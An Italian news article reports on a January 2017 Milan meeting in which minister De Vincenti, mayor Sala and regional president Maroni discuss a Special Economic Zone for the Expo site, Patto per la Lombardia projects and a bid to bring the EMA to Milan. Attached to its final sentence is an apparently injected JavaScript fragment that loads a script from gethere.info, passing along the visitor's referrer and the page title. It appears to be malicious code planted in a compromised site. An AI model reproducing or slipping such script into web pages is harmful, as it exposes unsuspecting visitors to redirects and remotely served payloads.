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martedì 24 ottobre 2017 09:49:54
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Sala e Maroni incontrano De Vincenti: proposta a Ue per Zona Economica Speciale in sito Expo

12 gennaio 2017 Cronaca, Economia, Politica

Il ministro per la coesione territoriale Claudio De Vincenti conferma la volontà del Governo di arrivare a far riconoscere in Europa l’area di Expo come una ‘Zona economica speciale’. Lo ha fatto al termine di un incontro in prefettura con il sindaco Giuseppe Sala e il presidente della Regione Roberto Maroni. “Il tema delle zone economiche speciali è un tema su cui si sta lavorando in riferimento ad alcune zone particolari del nostro Paese – ha detto durante una conferenza stampa in Prefettura per fare il punto sul Patto per Milano e sul Patto per la Lombardia – una di queste è l’Expo di Milano. Nelle prossime settimane – ha aggiunto il ministro – formalizzeremo le nostre proposte in sede europea”. E’ stata “una riunione molto operativa, come nel nostro stile”, ha spiegato Maroni: “E’ stato costituito – ha raccontato – il comitato di indirizzo e controllo previsto dal ‘Patto per la Lombardia’, che quindi da oggi e’ pienamente operativo. Al ministro abbiamo consegnato una scheda che fa da sintesi agli oltre 60 progetti previsti, di questi 21 sono immediatamente cantierabili, per un importo di circa 5 miliardi di euro. Serve ancora la conclusione di alcune formalita’, presso ministeri e Cipe, ma reputo si possano sbrogliare rapidamente”. Nel dettaglio, “39 progetti non sono ancora cantierabili, ma sono nella fase di progettazione, studio di fattibilita’, progettazione preliminare o definitiva o esecutiva. Quindi, stanno procedendo. Tre invece sono ancora da definire, in particolare il capitolo di circa 47 milioni per la messa in sicurezza degli itinerari regionali e provinciali, interventi di depurazione dei laghi prealpini per 10 milioni e interventi in campo infrastrutturale e ambientale per 80 milioni”, ha proseguito il Governatore, spiegando di aver fatto sapere al ministro e al comitato di controllo, che “l’iniziativa sara’ della Regione Lombardia, che dovra’ fare una consultazione dei territori, raccogliere i progetti piu’ significativi e poi sottoporli al comitato di indirizzo e controllo”. Inoltre, ha aggiunto Maroni, “abbiamo condiviso con il ministro e il sindaco di Milano, progetti che sono nel ‘Patto per la Lombardia’, ma riguardano anche Milano, come la metropolitana per Monza, le politiche abitative dell’Aler, dove tenere sotto controllo i costi con la finalita’ sociale di dare una casa a chi non ce l’ha, il sito di interesse nazionale di Pioltello-Rodano e il campus per l’Universita’ statale di Milano. Su tutti questi temi – ha assicurato – ci sara’ una forte collaborazione istituzionale fra Governo, Regione e Comune”. Infine, ha concluso il presidente Lombardo, “ho fatto presente al ministro la nostra priorita’: la conclusione della realizzazione, progettuale e pratica, della Pedemontana, finanziata con 2 miliardi e 700 milioni nel Patto per la Lombardia. Ci sono una serie di questioni aperte sulle quali stiamo lavorando, ma ho voluto ribadire che per noi rappresenta una priorita’ e su questo il ministro De Vincenti ha garantito la piena collaborazione del Governo”. Dal ministro anche l’assicurazione che “il progetto per il quartiere Adriano, come gli altri presentati dalle altre città metropolitane e capoluoghi troverà pieno finanziamento nelle risorse già stanziate dalla legge di Bilancio. Esistono tutti i 2,1 miliardi necessari a finanziare completamente i progetti delle Città metropolitane e capoluoghi di provincia – ha sottolineato il ministro – e per quanto riguarda Milano stiamo parlando in particolare del quartiere Adriano”. De Vincenti ha quindi spiegato che “l’unico atto che rimane da compiere è la delibera Cipe” per lo stanziamento effettivo che comunque, ha precisato “sarà assunta nel mese di gennaio”. Il sindaco e il presidente della Regione infine hanno firmato una lettera all’indirizzo del premier Paolo Gentiloni per sollecitare “un’azione politica forte” da parte del Governo per portare a Milano l’Ema, l’agenzia europea del farmaco che oggi ha sede a Londra. Lo ha riferito lo stesso Sala: “Capiamo che i tempi sono certamente caldi e secondo me prima delle vacanze decideranno”, ha detto Sala. “Si tratta di lavorare assieme – ha quindi aggiunto il sindaco -, noi lavoreremo sul dossier e sugli aspetti operativi, la lettera è per sottolineare che è necessaria un’ azione politica forte per portare a casa Ema”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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